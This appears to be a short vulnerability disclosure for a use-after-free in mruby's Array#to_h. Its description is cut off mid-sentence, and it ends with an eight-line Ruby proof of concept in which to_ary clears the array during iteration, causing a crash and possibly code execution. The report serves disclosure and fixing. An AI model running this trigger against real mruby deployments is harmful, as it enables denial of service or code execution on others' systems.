Use after free vulnerability in mruby Array#to_h causing DOS possible RCE

Vulnerability The function `to_h` will call the C function `mrb_ary_to_h`. This will iterate through the elements of the array. If an element is not of type Array it will call attempt to call `to_ary` method of that object. If `to_ary` does not return an array, the function will raise a ruby …

class A
  def to_ary
    $a.clear
    nil
  end
end
$a = [A.new]
$a.to_h